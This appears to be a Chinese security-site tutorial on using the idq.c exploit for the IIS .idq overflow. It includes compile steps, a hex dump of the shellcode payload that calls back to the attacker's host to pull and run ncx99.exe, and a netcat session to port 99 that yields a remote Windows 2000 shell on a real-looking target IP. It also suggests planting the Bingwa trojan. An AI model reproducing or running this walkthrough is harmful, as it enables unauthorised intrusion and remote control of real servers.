先到一台linux主机上编译idq.c。gcc -o idq idq.c

!!!注意一定先改一下程序中的#define ADDR "111.111.111.111"为你这台
linux主机的IP地址!!!

然后上传一个ncx99.exe到这台主机放在同一个目录下:
bash# ls -al
total 90
drwxrwxrwt 7 root root 1024 Aug 30 05:25 .
drwxr-xr-x 17 root root 1024 Aug 28 15:47 ..
drwxrwxrwt 2 xfs xfs 1024 May 14 03:03 .font-unix
-rwxr-xr-x 1 root root 18526 Aug 30 05:25 idq
-rw-r--r-- 1 root root 8149 Aug 30 05:25 idq.c
-rw-rw-rw- 1 root root 59392 Aug 17 1999 ncx99.exe
假设要攻击61.135.19.222,就这样:
bash# ./idq 61.135.19.222 ncx99.exe
---
47 45 54 20 2F 61 2E 69 64 71 3F 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
01 01 01 25 75 30 38 65 62 01 25 75 61 63 39 37
25 75 37 37 65 34 01 25 75 43 30 33 33 25 75 42
38 36 36 25 75 30 33 31 46 25 75 30 33 34 30 25
75 38 42 44 38 25 75 38 42 30 33 25 75 36 38 34
30 25 75 44 42 33 33 25 75 33 30 42 33 25 75 43
33 30 33 25 75 45 30 46 46 3D 61 20 48 54 54 50
2F 31 2E 30 0D 0A 53 68 65 6C 6C 3A 20 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 EB 02 EB 4E E8 F9
FF FF FF 6D 73 76 63 72 74 2E 77 73 32 5F 33 32
2E 73 6F 63 6B 65 74 2E 63 6F 6E 6E 65 63 74 2E
72 65 63 76 2E 63 6C 6F 73 65 73 6F 63 6B 65 74
2E 5F 6F 70 65 6E 2E 5F 77 72 69 74 65 2E 5F 63
6C 6F 73 65 2E 5F 65 78 65 63 6C 2E 5B 33 C0 40
40 C1 E0 09 2B E0 33 C9 41 41 33 C0 51 53 83 C3
06 88 03 B8 DB 56 E7 77 FF D0 59 50 43 E2 EB 33
ED 8B F3 5F 33 C0 80 3B 2E 75 1E 88 03 83 FD 04
75 04 8B 7C 24 10 56 57 B8 4B 56 E7 77 FF D0 50
8D 73 01 45 83 FD 08 74 03 43 EB D8 8D 74 24 20
33 C0 50 40 50 40 50 8B 46 FC FF D0 8B F8 33 C0
40 40 66 89 06 C1 E0 03 50 56 57 66 C7 46 02 43
6A C7 46 04 8B 2D 63 51 66 81 76 02 41 41 81 76
04 41 41 41 41 8B 46 F8 FF D0 33 C0 C7 06 5C 61
61 2E C7 46 04 65 78 65 41 88 46 07 66 B8 80 01
50 66 B8 01 81 50 56 8B 46 EC FF D0 8B D8 33 C0
50 40 C1 E0 09 50 8D 4E 08 51 57 8B 46 F4 FF D0
85 C0 7E 0E 50 8D 4E 08 51 53 8B 46 E8 FF D0 90
EB DC 53 8B 46 E4 FF D0 57 8B 46 F0 FF D0 33 C0
50 56 56 8B 46 E0 FF D0 33 C0 FF D0 0D 0A 0D 0A
---
...............................................................................
....................................
59392 bytes send...
Done.
然后文件已经传过去并运行了,等几秒种,然后就可以连接上去了!
bash# nc -vv 61.135.19.222 99
61.135.19.222: inverse host lookup failed: Unknown host
(UNKNOWN) [61.135.19.222] 99 (?) open
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-1998 Microsoft Corp.

C:\WINNT\system32>cd\
cd\

C:\>dir
dir
驱动器 C 中的卷没有标签。
卷的序列号是 CC31-6B3C

C:\ 的目录

1997-01-11 16:54 297 1.pl
2001-07-01 03:08 59,392 aa.exe
1997-01-06 16:44 <DIR> Documents and Settings
2001-06-30 16:21 <DIR> download
2001-05-02 19:17 <DIR> Inetpub
2001-05-21 16:35 <DIR> mp3
2001-05-02 21:48 <DIR> mysql
2001-05-02 21:45 <DIR> Perl
2001-05-02 21:57 <DIR> php
2001-06-30 16:24 <DIR> Program Files
2001-06-22 01:47 <DIR> tool
2001-06-30 16:23 <DIR> WINNT
.........
.........
.........
28 个文件 383,912 字节
13 个目录 353,680,384 可用字节

C:\>exit
sent 13, rcvd 2326
bash#
你也可以传个冰河Server端上去,随便你了!

写完这些我感到有点失落,因为漏洞不是我发现的,攻击程序不是我写的,
我也只能跟在那些高手的后面拾人牙慧,唉...还需要再努力学习。




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·MS07-014调试手记
·udp_sendmsg空指针漏洞分析
·一段对perl 木马的分析
·小心我“DIR”溢出你!
·CVE-2010-4258漏洞分析
·Adobe Reader 'CoolType.dll' TT
·PHPBB<+2.0.10 漏洞说明
·袁哥写的漏洞研究方法总结
·利用异常处理执行shellcode实例
·注入点检测新方法
·Apache mod_ssl buffer over分析
·RPC漏洞的通用分析方法
  相关文章
·Win2000 Server入侵监测
·Microsoft WordPerfect转换器远
·高级WIN2K ROOTKIT检测技术
·袁哥写的漏洞研究方法总结
·Serv-U MDTM命令远程溢出分析
·分析server-u site chmod 漏洞
·分析ms locator vul
·Win2k LDT漏洞初探
·Acrobat Reader5.1漏洞分析
·windows溢出随笔
·AIX捉虫记之invscoutd
·Apache mod_ssl buffer over分析
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved